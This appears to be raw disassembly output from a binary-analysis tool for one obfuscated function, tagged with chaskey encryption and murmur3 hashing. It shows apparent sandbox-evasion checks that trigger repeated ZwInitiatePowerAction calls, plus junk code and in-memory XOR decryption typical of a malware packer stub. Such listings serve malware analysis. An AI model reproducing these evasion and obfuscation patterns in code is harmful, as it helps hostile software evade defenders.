Function at 0x401000
Capabilities:
Encrypt data using chaskey
Hash data using murmur3

Disassembly:
or edi, ebx
xor edi, ebx
and ebx, esi
bswap esi
call sub.user32.dll_GetKBCodePage
bswap esi
cmp eax, 0xfffffef0
jne 0x40107a
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
ret
sub ebx, esi
rol ebx, 0xf
add ebx, edi
or esi, ebx
xchg edi, ebx
and edx, 0xd972868
sub ebx, edi
sub edi, edx
call sub.user32.dll_GetOpenClipboardWindow
and edi, ebx
cmp eax, 0xfffffefd
jne 0x401110
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
ret
shr edx, 6
or esi, ebx
call sub.kernel32.dll_GetUserDefaultLCID
bswap edx
and ebx, 0xd9cf6d1
cmp eax, 0xffffff24
jne 0x401188
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
ret
mov edi, esi
sub esi, ebx
xor ebx, 0xda04231
call sub.user32.dll_GetKBCodePage
shr esi, 1
mov ebx, esi
add esi, ebx
cmp eax, 0xffffff22
jne 0x40123b
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
ret
jmp 0x4fb1b2
bswap ebx
mov edi, edx
add esi, edx
add edx, 0xf13001a
or esi, edx
or esi, ebx
xor edi, edx
jmp 0x4fba72
cmp eax, 0xf9db2
jmp 0x4fc8cb
pop esi
add ecx, ebx
inc edi
and edx, ecx
and ecx, ebx
mov ebx, 0x174f7aae
mov edx, 0x174fe57c
jmp 0x4fd0a9
push 0xf3d2985
xor ecx, edx
dec edi
xchg ecx, ebx
mov edx, ecx
mov ecx, edi
jmp 0x4fc312
mov esi, 0x123b2f04
shl edx, 0x1b
xor edx, ebx
xchg edx, ecx
or ebx, 0x178ca3da
sub edx, edi
rol ebx, 0x1e
and edi, 0x178df6d5
sub ebx, ecx
and ecx, edx
neg edi
xchg edx, edi
jmp 0x4fd58d
mov esi, 0x123b2f04
and ecx, ebx
and ebx, 0x179b03dc
add edi, ebx
sub edi, 0x179bfbbc
sub edx, edi
jmp 0x4fcb65
call esi
or edx, ebx
mov edi, edx
or edi, 0x179e1316
mov edi, edx
add edi, ecx
add edx, ebx
neg ecx
xor edi, ebx
and edi, edx
xor edi, 0x17a13669
shl ecx, 0x1d
xor ebx, 0x17baeecb
mov ebx, edx
mov ecx, edi
jmp 0x4fbc54
push 0xf40835e
not edx
add ebx, edx
sub ebx, 0x17bd5798
bswap ebx
or edi, ebx
xchg edx, ebx
dec ecx
or edx, 0x17bf92a2
sub edx, ecx
neg edi
jmp 0x4fdb1e
call fcn.004fc64e
add ecx, ebx
mov ebx, ecx
or ecx, ebx
not edx
shl edx, 0x1d
add edi, 0x17e1766a
jmp 0x4fd184
push 0xf5652ca
add edx, ecx
add ebx, ecx
and ebx, edx
sub edi, 0x17f7ed66
mov edx, 0x17f85978
sub edi, ebx
xchg edx, ecx
or ebx, edi
or edx, ecx
add edx, 0x17fa9d29
bswap edx
xchg ebx, ecx
sub ecx, 0x17fc2b0d
and ecx, ebx
ror edi, 3
jmp 0x4fb636
pop esi
xor edx, ebx
rol edx, 0xb
add ebx, edx
xor ecx, edx
and edi, ebx
sub edi, 0x180672a7
add edx, ecx
dec ecx
dec ecx
xor ebx, edi
xor ecx, ebx
xor ebx, 0x18094ba7
jmp 0x4fcd25
mov esi, 0x401400
or ecx, edi
xor edi, ecx
mov edi, edx
ror edi, 0x15
sub ebx, 0x180bae56
shr edi, 0xf
or ecx, edi
shr edx, 4
add ecx, edi
jmp 0x4fd61f
push 0xf1f0024
add ecx, edx
or edx, 0x180e94b1
and ecx, ebx
mov edi, edx
ror edi, 0x18
add edi, 0x18105afd
bswap edx
or ecx, edi
sub ecx, edx
not edx
or edx, ebx
jmp 0x4fc38c
push 0xf569d36
add edi, edx
or ebx, 0x181ffef9
shr edx, 0x19
neg ecx
rol ecx, 0x14
or edi, ebx
rol edi, 0xc
xchg ecx, edx
add ecx, 0x18232634
jmp 0x4fd604
push 0xf5a30b7
shr edi, 0x17
sub ecx, 0x188f42e8
xor edi, 0x188fd001
xchg edi, ecx
add ebx, edi
and ebx, edx
shr ecx, 8
and ebx, edx
and ecx, ebx
and ecx, edx
shl ecx, 0x17
or ebx, ecx
jmp 0x4fddff
push 0xf3a73f9
or edi, ecx
shr edx, 0x1c
shr ebx, 0xf
add edi, edx
or ebx, 0x18bab90a
or ecx, edi
sub ecx, edi
or edi, edx
add edi, ecx
add edx, ecx
xor edx, 0x18bd6117
jmp 0x4fd499
push 0xf1eafb6
add edx, ebx
sub edx, ebx
mov edx, edi
xchg ebx, ecx
and edi, ebx
add ebx, edi
add edx, edi
bswap ecx
sub edx, ebx
bswap edi
xchg edx, edi
add ecx, 0x18d6874a
mov edi, 0x18d6fa65
xchg ecx, ebx
jmp 0x4fb59e
and edi, ebx
and edx, ecx
xor ecx, ebx
add ebx, 0x18e19040
ror edx, 7
jmp 0x4fca2d
pop esi
xor edi, 0x18f0950b
xchg edx, edi
xor ecx, edi
sub ecx, 0x18f1e9b8
add edx, edi
ror edx, 0x19
mov ebx, 0x18f2a7bc
sub ebx, ecx
add ebx, 0x18f3350e
jmp 0x4fc422
call fcn.004fc64e
xor ebx, edx
and edx, 0x18f4338d
or ecx, ebx
mov ecx, 0x18f51cf7
add edi, ebx
add ecx, 0x18f60efe
mov ecx, edx
shl edi, 0x18
mov ebx, ecx
jmp 0x4fd138
push 0xf1a4abd
mov edx, edi
nop
inc ecx
shr edx, 0xc
and edi, 0x18ff9a04
add ecx, ebx
mov ebx, ecx
add edi, edx
xor edx, edi
jmp 0x4fcc83
push 0xf3cd523
xchg edx, edi
or edi, 0x19086d56
xor ecx, edi
mov edx, 0x1908f645
xchg ebx, ecx
ror edx, 0x1e
jmp 0x4fb352
pop esi
or edi, ecx
and ecx, edi
add ebx, ecx
dec edx
and edx, 0x190d7900
shr edi, 0xf
xchg ebx, edi
dec edx
shl edx, 7
shl ecx, 0xc
add edi, ecx
jmp 0x4fb556
mov esi, 0x123b2f04
shr edx, 0x15
xchg edx, ecx
add ecx, edi
mov ecx, 0x19100e1e
shr ecx, 0x1c
mov ebx, 0x1910918e
bswap edi
add ebx, edx
sub edx, edi
jmp 0x4fb46a
push 0xf59ddce
bswap ebx
or ebx, ecx
mov ecx, edx
and ecx, edi
xchg ebx, ecx
sub ecx, ebx
xor ecx, edx
or edi, 0x194d4422
xchg ebx, edi
jmp 0x4fb826
or edi, ecx
sub edi, edx
mov ebx, ecx
or ebx, ecx
xor ecx, edx
ror ecx, 0x13
or ecx, edx
xor ecx, edx
jmp 0x4fc60a
pop esi
xor ebx, 0x1955466a
xor edx, ebx
and ebx, edx
neg edx
sub edi, edx
sub ebx, edi
mov ebx, edx
shl edi, 2
or ebx, 0x1966ddcc
ror edx, 0xb
sub ebx, edx
xchg edx, ebx
jmp 0x4fc0c0
call esi
and edx, ecx
rol ebx, 3
or ebx, edi
or edi, ecx
jmp 0x4fce60
pop esi
mov edx, ecx
xor edx, ecx
not edx
add ebx, edx
or edi, ebx
and ebx, edx
ror ecx, 9
not edx
sub ebx, ecx
jmp 0x4fca5c
push 0xf3c872b
and edi, ebx
shr edi, 0xc
mov ebx, edx
xor ebx, edx
or edx, ebx
xor edx, 0x1993f71f
xor edi, edx
and ebx, ecx
jmp 0x4fbaff
push 0xf2269b2
shl ebx, 5
xor edx, ebx
xor ecx, edi
shl edx, 0x17
xchg edx, ecx
xchg ebx, edi
xchg edi, ecx
xor edi, ecx
jmp 0x4fd7ab
xor dword [esi], 0x2f487af3
sub ecx, edx
sub ecx, edi
bswap ecx
sub edx, ecx
xchg ebx, edx
xor ecx, ebx
neg edx
or edi, 0x19a48a11
or ecx, ebx
or ecx, 0x19a57696
nop
and edi, edx
neg ebx
jmp 0x4fc120
pop esi
not ebx
add ecx, 0x19b6ea77
sub edx, ebx
mov edi, 0x19b7c7f9
mov ebx, edi
xchg edx, edi
add ecx, edx
dec edi
or edx, edi
jmp 0x4fc03c
call fcn.004fc64e
shl ecx, 0xb
mov ebx, edx
and edi, edx
add edi, ecx
neg edi
xor edi, edx
xor edi, ecx
bswap ebx
sub ebx, 0x19bc6489
jmp 0x4fc79a
call fcn.004fc64e
shl edx, 0xf
mov ecx, edx
ror edx, 0x19
jmp 0x4fd92b
push 0xf221a8e
and ebx, ecx
sub edi, edx
mov ecx, 0x19e53b7b
and ebx, edx
mov edi, 0x19e61713
xor ebx, 0x19e66c11
sub edi, edx
not edx
xor edi, 0x19e728b7
xor edx, edi
jmp 0x4fbde1
pop esi
mov edi, 0x19e7bcc3
or edx, ecx
neg ecx
shr ebx, 0x1b
mov edx, edi
inc ebx
or ecx, 0x19e94269
bswap ecx
neg ecx
sub edi, ebx
and ecx, ebx
jmp 0x4fdd49
call esi
xor ebx, edx
mov edi, ebx
not edx
shl edi, 0x12
ror ecx, 0x1c
shl ecx, 8
sub ebx, edi
sub edi, ebx
or edx, ebx
jmp 0x4fd1ae
call esi
or edi, ebx
or ebx, ecx
xor edi, ecx
jmp 0x4fd9df
mov esi, 0x401400
ror ecx, 0x14
and ebx, ecx
and edi, 0x1a026e10
add ecx, edi
or ebx, edx
ror edi, 0x13
and ecx, edi
add ebx, edx
neg edx
sub edx, 0x1a05aad9
jmp fcn.004fb293
pop esi
and ecx, 0x1a063f0f
mov edx, edi
add edi, ecx
shl ecx, 7
mov ecx, edx
or edi, edx
xchg edx, ecx
jmp 0x4fbf54
mov esi, 0x2774562b
or edi, ecx
and ecx, edx
xor edx, ecx
rol ebx, 0xd
sub ebx, edx
and ecx, 0x1a1a9211
dec ebx
or ecx, edi
sub ebx, edx
jmp 0x4fd4b7
pop esi
sub ebx, ecx
shr edx, 1
xchg ebx, ecx
and edx, ebx
or ebx, edx
xor ecx, edx
xor ebx, edi
xor edx, ecx
add ebx, edi
add ecx, edx
jmp 0x4fcf35
pop esi
xchg edx, edi
add ebx, edi
mov ecx, edx
xor edi, ebx
mov edi, ecx
dec ebx
xchg ecx, edi
mov edi, edx
and ebx, edx
and ebx, 0x1a2574e9
jmp 0x4fccd3
push 0xf55a1ef
ror edx, 9
sub edi, edx
mov edx, 0x1a26dce7
rol edx, 1
xor edi, edx
add ecx, ebx
xchg edx, ebx
not edx
or edi, 0x1a29a2f9
xchg ebx, edi
inc edx
and edx, ebx
xchg ebx, edi
sub ecx, edx
jmp 0x4fcaae
call fcn.004fc64e
add ecx, edx
inc edx
sub edx, 0x1a2d2bd4
xchg edx, ecx
jmp 0x4fcb37
xor dword [esi], 0x33887af3
neg ebx
sub edi, 0x1a2eb80c
and edx, 0x1a2f5da0
mov edi, ebx
rol edi, 0x1d
sub edi, 0x1a30beee
xor edx, ecx
add ebx, ecx
or edi, ecx
sub ebx, edi
xor ebx, ecx
jmp 0x4fc28f
xor dword [esi], 0x44587af3
or ecx, edx
xor ebx, 0x1a3a4053
jmp 0x4fb976
pop esi
xchg edi, ecx
sub ecx, 0x1a487e4b
mov edx, ebx
xor edx, ebx
mov ecx, edi
xor edi, 0x1a4a42e8
mov ebx, edx
jmp 0x4fcdd7
xor dword [esi], 0x41307af3
xchg ecx, edi
add edx, edi
mov edi, ebx
and ebx, edx
shr ecx, 0x10
ror edx, 0xb
xor edx, ebx
not ecx
and ecx, ebx
mov edi, ecx
jmp 0x4fc187
xor dword [esi], 0x37787af3
not ecx
mov ebx, 0x1a57d702
or ebx, 0x1a585553
xchg edx, ecx
add edi, 0x1a593343
neg ecx
jmp 0x4fd0e2
mov esi, 0x123b2f04
xor ecx, edx
sub ebx, 0x1a68d601
or ecx, ebx
neg edx
or ebx, edi
or ebx, 0x1a6a94c2
sub edx, 0x1a6b061d
xor ecx, edi
add edi, edx
and edx, ebx
or ecx, edx
or ebx, edi
xor ecx, ebx
shr ecx, 0xe
jmp 0x4fd739
push 0xf1f5278
rol edi, 0x19
ror ebx, 9
or edx, ecx
sub ebx, edi
xchg edi, ebx
xchg edx, edi
add ebx, edi
sub edx, ebx
xor ebx, 0x1a7a16f5
xor edx, 0x1a7a8451
sub edx, ebx
and edi, 0x1a7b67ee
xor edi, ebx
shl ecx, 0xf
jmp 0x4fb3f9
push 0xf24a5e3
xor edi, edx
inc edx
neg edx
shl ebx, 4
dec ecx
sub edx, 0x1a8c6b95
dec ecx
sub edx, ecx
neg ecx
jmp 0x4fb38f
xor dword [esi], 0x3e407af3
add edx, edi
xor ecx, ebx
and ecx, edi
xchg edi, edx
neg ebx
sub edx, ebx
add ecx, edx
add edx, edi
and ecx, ebx
dec edx
jmp 0x4fc26e
call esi
xor ebx, ecx
xchg ebx, edi
sub edx, ebx
xchg edx, ecx
sub ecx, 0x1ab3b934
shr ecx, 0x1d
jmp 0x4fbb3d
mov esi, 0x2774562b
shr ecx, 0xe
xor edx, ecx
and edx, ebx
or ebx, ecx
or ebx, 0x1ab97624
xor edx, ebx
mov edi, edx
xchg ebx, edx
or ebx, 0x1abb4c70
or edi, 0x1abbc018
shl ebx, 0x15
xor ecx, ebx
or edx, 0x1abd0da3
xchg ecx, edx
jmp 0x4fba28
pop esi
neg edx
or ecx, ebx
inc ecx
sub ecx, edi
or ebx, edx
sub ebx, ecx
or edi, 0x1ac0bc72
xor ecx, edx
xchg ebx, edi
not edx
xor ecx, ebx
jmp 0x4fd4e7
pop esi
xor edi, 0x1ac30967
or edi, ecx
and edx, 0x1ac3e95e
xchg ebx, edx
shl ecx, 0x15
xor edi, ebx
or edx, ebx
sub ecx, 0x1ac63b39
and edi, ebx
and edi, 0x1ac7202d
jmp 0x4fcbf6
add eax, 4
xor ecx, edx
xor edi, edx
mov ecx, ebx
ror edx, 0x1f
shr ebx, 0x1c
or ebx, edi
bswap edx
inc edi
not ebx
jmp 0x4fb212
pop esi
xchg edx, ebx
or edx, ecx
neg ecx
ror edi, 8
sub ebx, 0x1b3ca425
inc edi
jmp 0x4fbf80
call esi
xor ecx, ebx
xor ecx, edx
add edx, ecx
sub ebx, ecx
sub ebx, edi
mov edi, 0x1b573483
dec edx
and ecx, ebx
jmp 0x4fc6d8
push 0xf3fd26c
neg ebx
mov ecx, 0x1b65a0d3
sub edi, ecx
sub edx, ecx
shr ebx, 0xd
nop
xor ecx, edx
mov edx, edi
xor edi, 0x1b68c81a
xor ebx, edx
and ebx, ecx
sub ebx, 0x1b6a1560
jmp 0x4fcb9c
push 0xf3c2d4c
inc edx
mov edi, ecx
or ebx, 0x1b6b8548
not ebx
add edi, ecx
dec edx
xor ebx, ecx
dec ecx
jmp 0x4fbda3
jl 0x4fbe19
xor ebx, edi
xchg edi, ecx
neg ebx
xor ebx, 0x1b7e1b66
xor edx, ebx
mov ebx, edx
dec edx
xchg ecx, edi
and edi, 0x1b80417a
jmp 0x4fc014
push 0xf38b727
xor ebx, ecx
xor edi, ecx
xor ecx, edi
xor edi, ecx
sub edi, edx
sub edx, edi
jmp 0x4fccb9
call fcn.004fc64e
and edx, ebx
sub edx, 0x1ba8968f
xchg edi, ecx
add ecx, edx
mov edx, ecx
shl edi, 0xa
mov edx, edi
shl edx, 0x13
and ecx, 0x1babb94f
shr ecx, 9
ror ebx, 0x12
jmp 0x4fd712
add esi, 4
sub ecx, ebx
xor edi, edx
and ebx, 0x1bb6781d
sub ebx, edx
xor edx, 0x1bb7587c
bswap edx
xchg edi, edx
and ecx, edi
mov ecx, edx
bswap ecx
sub ebx, edx
xchg edi, ebx
add edx, ebx
sub ebx, edi
shl edx, 4
jmp 0x4fbc25
push 0xf1c029a
and edi, ebx
or ebx, 0x1bbccc51
add ecx, edx
mov ebx, ecx
mov edi, edx
xor edi, edx
sub edi, edx
or ecx, 0x1bd1631e
sub ebx, edi
or ecx, edx
jmp 0x4fd6ab
push 0xf9db2
mov edx, edi
sub edi, ecx
xor edi, ecx
sub edx, edi
and edx, 0x1bd491fb
mov ecx, 0x1bd50177
shr ebx, 9
not ebx
or edi, edx
and edi, edx
xor edi, ebx
add edi, edx
xchg ebx, edi
jmp 0x4fd340
push 0xf55f661
and ecx, 0x1bd8cb6b
and ecx, edi
add edi, ecx
xor edx, 0x1bda1aa0
sub ebx, edx
add edx, edi
not edi
not edi
xor edi, edx
or ecx, edi
ror edi, 0x19
not ecx
or ebx, 0x1be532ff
xchg edx, edi
jmp 0x4fb4ed
call esi
xchg edi, ebx
sub edx, ecx
mov edx, ecx
or edi, ebx
and edx, ebx
add edi, ecx
add ebx, edx
xor ebx, ecx
xchg edx, ecx
sub edi, edx
jmp 0x4fbd3d
call fcn.004fc64e
sub ecx, edx
xchg edi, ebx
and ebx, edx
xchg ecx, edx
rol ecx, 1
add ebx, 0x1c08aa08
jmp 0x4fda61
push 0xf4024a4
mov edx, edi
xchg edi, edx
and ecx, edi
xchg edx, ecx
or edx, ecx
or ecx, edi
sub edi, ebx
jmp 0x4fb445
call fcn.004fc64e
not edx
mov ecx, edi
xor edi, edx
add ecx, edx
xchg ebx, edi
xor ebx, 0x1c125594
shl ebx, 0x1d
xchg edx, edi
jmp 0x4fdb34
pop esi
shl edx, 0x13
shl edi, 0xb
xor ecx, edx
and ecx, ebx
and ebx, edi
sub ecx, 0x1c223cea
bswap ecx
and ebx, edx
add ecx, 0x1c23a4b6
rol ecx, 3
and ebx, edx
jmp 0x4fcd6a
mov esi, 0x2774562b
shr edx, 1
xchg ecx, edi
xor ecx, 0x1c333e29
and ebx, ecx
add edx, ebx
and ecx, ebx
mov ecx, ebx
add edx, ebx
add ebx, ecx
sub ebx, ecx
ror edi, 0x15
jmp 0x4fc10b
mov esi, 0x123b2f04
neg ecx
xor ebx, ecx
or edx, ecx
bswap edi
sub edi, 0x1c375cab
sub ecx, ebx
jmp 0x4fc9bf
pop esi
inc edi
xor ebx, 0x1c383b23
and edx, 0x1c3875d4
xchg edi, edx
xor ebx, 0x1c3a25ed
xchg ecx, edx
sub ebx, edi
jmp 0x4fdb7b
pop esi
add ecx, edi
dec edx
not edi
mov ecx, edi
xchg edx, ebx
sub edi, ecx
jmp 0x4fc53f
pop esi
or ecx, 0x1c4bbf8b
neg ebx
and ecx, edi
shl ebx, 1
sub edi, ecx
mov edx, 0x1c52e096
xor ecx, edi
shl ebx, 0xb
or ecx, 0x1c54508b
mov edx, 0x1c54c103
jmp 0x4fcdfe
push esp
bswap edx
sub ecx, 0x1c63f975
mov ecx, edx
add edi, 0x1c64747e
inc ecx
sub ecx, ebx
and edi, ecx
xor edi, edx
sub ecx, 0x1c65b59e
add edx, ecx
add edi, ebx
mov ecx, 0x1c666ddb
jmp 0x4fdd2b
push 0xf1e54f3
mov ebx, ecx
add ecx, edx
add edi, edx
sub edi, ecx
add ecx, edi
add edi, edx
and edi, ecx
mov edx, ebx
and edi, ebx
xor edi, ebx
mov edi, edx
add edi, edx
inc ebx
and ecx, edi
mov ecx, edx
jmp 0x4fb927
pop esi
and ebx, edi
shr edx, 9
bswap edx
mov edx, ecx
and ebx, ecx
ror ebx, 0x11
sub edx, 0x1c8e6229
add ebx, ecx
mov ecx, ebx
xor ebx, 0x1c8fb60b
add ebx, edx
jmp 0x4fbc05
pop esi
mov edi, ebx
and edx, ebx
sub ebx, edi
shl edi, 0x1f
xchg ecx, edx
shr ecx, 0xa
sub edx, 0x1c95d34c
and edx, ecx
jmp 0x4fc851
pop esi
shr edi, 0x13
dec ebx
sub ebx, edx
xor ecx, edx
sub ebx, 0x1c9764b4
add edx, 0x1c97a77a
sub edx, 0x1c97e6f0
mov edi, 0x1c98216f
xor ecx, ebx
shl edi, 6
ror ecx, 0x17
dec edi
jmp 0x4fc55e
mov esi, 0x4132136a
add ecx, 0x1ca7732e
nop
jmp 0x4fcbb4
push 0xf265478
sub ebx, edx
inc edi
mov ebx, edx
add edi, 0x1ceba740
mov edx, ebx
neg ebx
mov edi, edx
sub ebx, edi
jmp 0x4fd23f
xor dword [esi], 0x3b007af3
sub ebx, edx
or edx, ecx
and ebx, edi
add edi, ecx
jmp 0x4fc4ae
call esi
or ecx, edi
xchg edx, ecx
bswap edx
or ebx, edx
ror edi, 0x1c
neg ebx
or ebx, edi
xor ebx, edi
xor ebx, ecx
mov ecx, ebx
xchg ecx, edi
or edi, ecx
xchg ebx, edi
add ebx, ecx
jmp 0x4fd35c
call esi
xor ecx, edi
mov ebx, ecx
sub edi, ebx
xor edi, edx
neg ebx
add ecx, 0x1d128b87
ror ecx, 0xb
xor edx, edi
mov edx, 0x1d13f7c4
xchg edi, edx
add ecx, edx
shl ecx, 0x17
add edx, ecx
jmp 0x4fdc5b
pop esi
neg edx
xor ecx, edi
xor ecx, ebx
xor edi, 0x1d17bb8a
mov ebx, ecx
and ecx, ebx
add ecx, edi
add edx, edi
sub ecx, edx
xchg ebx, edi
xor edx, ecx
mov ecx, edi
jmp 0x4fc8ef
mov esi, 0x123b2f04
add edx, ecx
add ebx, 0x1d3c406f
and edi, edx
sub edi, ecx
shr ecx, 0xd
or edi, 0x1d3dc75e
add edi, ecx
or edi, ebx
add ebx, edx
xor ecx, edi
mov edi, ebx
and edi, ecx
jmp 0x4fbf42
pop esi
or ecx, 0x1d55d41c
neg edi
add ebx, 0x1d56cfa6
shr ebx, 0xa
xchg ebx, edx
bswap edx
mov ecx, 0x1d599b2d
jmp 0x4fb8cc
push 0x401400
xchg ecx, edi
add edi, ebx
shl edx, 0x1d
or edi, edx
xor ecx, ebx
add ebx, edx
xchg ecx, edx
shr edi, 8
jmp 0x4fbfc3
pop esi
xor ecx, ebx
and ecx, ebx
sub edi, ebx
xor edi, 0x1d68aec8
add edx, ecx
and edi, ebx
add ecx, edx
xchg edx, ebx
and edi, edx
jmp 0x4fc20f
call esi
bswap edi
xchg edi, ecx
mov ecx, ebx
shl ecx, 2
ror ebx, 0x18
and edx, ebx
neg edx
sub edx, ecx
or edi, 0x1d84fb96
and ecx, edi
and ebx, ecx
dec ebx
sub ecx, edx
add edx, 0x1d878fcb
jmp 0x4fce44
mov esi, 0x2774562b
or ebx, ecx
shl edi, 0xd
sub edi, edx
sub edx, ebx
or edx, ebx
rol edi, 3
and ecx, ebx
sub ebx, ecx
xchg ecx, edi
jmp 0x4fdc45
call fcn.004fc64e
xor edi, ecx
add ecx, 0x1d9da86c
and ebx, 0x1d9e235c
shl ebx, 0xc
xor ecx, ebx
xor edi, ecx
mov edi, 0x1d9ff5fb
xchg ecx, ebx
xor ebx, ecx
xor edi, 0x1da1a94c
not ebx
jmp 0x4fc4ef
push 0xf554e2e
xor edx, edi
mov edi, ebx
and ecx, edx
nop
xor edx, edi
sub edi, ecx
xchg edi, edx
add ebx, ecx
mov edi, edx
jmp 0x4fc0dd
call fcn.004fc64e
xor edi, ecx
mov ebx, edi
not ecx
and edi, ebx
dec ebx
or edx, ecx
xor edi, ebx
mov edx, edi
or edx, ecx
sub ecx, edx
xchg edx, edi
or edx, edi
jmp 0x4fdacd
mov esi, 0x2774562b
mov ecx, edi
add edx, edi
or edi, edx
xor edx, ecx
xchg ecx, edx
ror ecx, 4
bswap edi
xor ebx, edi
jmp 0x4fd8c7
xor eax, eax
ror edi, 0x13
xchg edi, ebx
mov ecx, edi
add ebx, 0x1dd25dd3
xor edi, ecx
mov edx, edi
xchg ecx, edi
or ecx, edi
and ecx, ebx
or edx, edi
or edi, ebx
shr ebx, 0xc
neg edx
jmp 0x4fbe19
push 0xf1c61ec
mov edi, ebx
neg edi
neg ebx
rol edx, 0x11
or edi, ecx
and edx, 0x1debd279
or edx, ecx
mov ecx, 0x1deca45f
jmp 0x4fc507
call esi
sub edi, edx
and ecx, edx
ror ebx, 0x16
xor edx, edi
and ebx, ecx
xchg edx, edi
rol ebx, 0xe
shl ecx, 0x17
shr edx, 1
shl ebx, 0x19
mov ebx, 0x1e1fc949
mov ebx, edi
jmp 0x4fd30b
call fcn.004fc64e
bswap edi
inc edi
xor edi, ebx
xchg ecx, edi
sub ebx, ecx
sub ecx, ebx
xor ecx, edi
jmp 0x4fb415
mov esi, 0x2774562b
not ecx
mov edi, ebx
add edi, 0x1e4d6c95
xor ebx, 0x1e4ddd3e
xchg edi, ecx
xor ecx, ebx
and edx, 0x1e4f3d12
rol ebx, 0x11
jmp 0x4fdda6
pop esi
dec ecx
add ebx, edx
or edi, edx
and edx, 0x1e6dd22d
add ebx, edi
jmp 0x4fdc1c
call fcn.004fc64e
xchg edi, ebx
mov ecx, edi
and edi, ebx
jmp 0x4fbcd6
call esi
bswap ebx
and edx, 0x1e82ed03
or ebx, edx
mov ecx, 0x1e8e526f
add edx, ebx
nop
and ecx, edx
add ebx, edi
add ebx, ecx
jmp 0x4fc0a5
pop esi
or edx, ecx
dec ebx
mov edi, 0x1eab0775
nop
xchg edx, edi
mov edx, 0x1eac7079
and ebx, 0x1eace152
and edi, 0x1ead56c5
xor edi, edx
jmp 0x4fba00
call esi
add edi, ebx
not ecx
add ebx, ecx
sub ecx, ebx
sub ebx, 0x1ee1f137
shl edx, 0x14
mov ebx, 0x1ee273dc
mov edx, 0x1ee2b2c3
inc ecx
xor edi, 0x1ee33825
sub edx, ebx
sub edi, ebx
jmp 0x4fd8b4
call esi
or edi, 0x1eeb0f48
bswap edx
add edi, edx
xor edi, 0x1eec61fe
not ecx
xor edx, ecx
and ebx, 0x1eedbc36
xor ecx, edi
neg edx
xchg edx, edi
or edx, edi
xor ebx, 0x1ef2608e
add ebx, ecx
xchg ecx, edi
or edx, ebx
or edi, 0x1ef44793
jmp 0x4fb27c
push 0xf40d9d9
rol edi, 0x15
sub edi, ebx
xor ecx, ebx
sub edx, ebx
shr edi, 0xb
jmp 0x4fc085
push esp
and edi, 0x1efea6a0
or edi, ebx
add edx, edi
mov edi, edx
mov ebx, ecx
xchg edi, ecx
